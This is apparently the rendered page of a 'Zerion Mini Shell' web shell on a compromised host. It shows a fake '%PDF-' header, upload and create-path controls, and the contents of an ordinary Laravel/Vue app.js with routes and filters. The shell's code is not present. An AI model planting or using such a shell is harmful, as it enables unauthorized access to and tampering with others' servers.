%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/ugotscom/kma/resources/js/
Upload File :
Create Path :
Current File : /home/ugotscom/kma/resources/js/app.js

/**
 * First we will load all of this project's JavaScript dependencies which
 * includes Vue and other libraries. It is a great starting point when
 * building robust, powerful web applications using Vue and Laravel.
 */

require('./bootstrap');

window.Vue = require('vue');

import VueRouter from 'vue-router';
import moment from 'moment';
import { BootstrapVue, IconsPlugin } from 'bootstrap-vue';
Vue.use(VueRouter)


Vue.use(BootstrapVue)
import 'bootstrap/dist/css/bootstrap.css'
import 'bootstrap-vue/dist/bootstrap-vue.css'
import 'vue-select/dist/vue-select.css';
import Vue from 'vue';
import Toaster from 'v-toaster'
import vSelect from 'vue-select'

 
// You need a specific loader for CSS files like https://github.com/webpack/css-loader
import 'v-toaster/dist/v-toaster.css'
 
// optional set default imeout, the default is 10000 (10 seconds).
Vue.use(Toaster, {timeout: 5000})
Vue.component('pagination', require('laravel-vue-pagination'));
Vue.component("v-select", vSelect);

let routes = [
     

    { path: '/registration', component:  require('./components/Registration/registrations.vue').default },
    { path: '/addregistration', component:  require('./components/Registration/addregistration.vue').default },
    { path: '/viewclient/:id', component:  require('./components/Registration/regdetails.vue').default },
    { path: '/member', component:  require('./components/Members/members.vue').default },
    { path: '/mmember', component:  require('./components/Members/mmembers.vue').default },
    { path: '/temporarymember', component:  require('./components/Members/tempmembers.vue').default },
    { path: '/viewmember/:id', component:  require('./components/Members/memberdetails.vue').default },
    { path: '/viewtempmember/:id', component:  require('./components/Members/tempmemberdetails.vue').default },
    { path: '/booking', component:  require('./components/Booking/bookingCalendar.vue').default },
    { path: '/addmember', component:  require('./components/Members/addmembers.vue').default },
    { path: '/addpayments', component:  require('./components/Payments/addpayment.vue').default },
  ]
  
  const router = new VueRouter({
    mode: 'history',
    routes 
  })
Vue.filter('fdate',function(created){
 return moment(created).format("Do MMM YY");   
});
Vue.filter('diffdate',function(created){
 
  var given=moment(created).format('MM/DD/YYYY');
  var current = moment().startOf('day');
   return current.diff(given, 'days'); 
});
Vue.filter('currency',function(value){
                 
    var val = Math.abs(value)
    if (val >= 10000000) {
      val = (val / 10000000).toFixed(2) + ' Cr';
    } else if (val >= 100000) {
      val = (val / 100000).toFixed(2) + ' Lac';
    }
    return val;

})



const app = new Vue({
    el: '#app',
      router
}).$mount('#app')

Zerion Mini Shell 1.0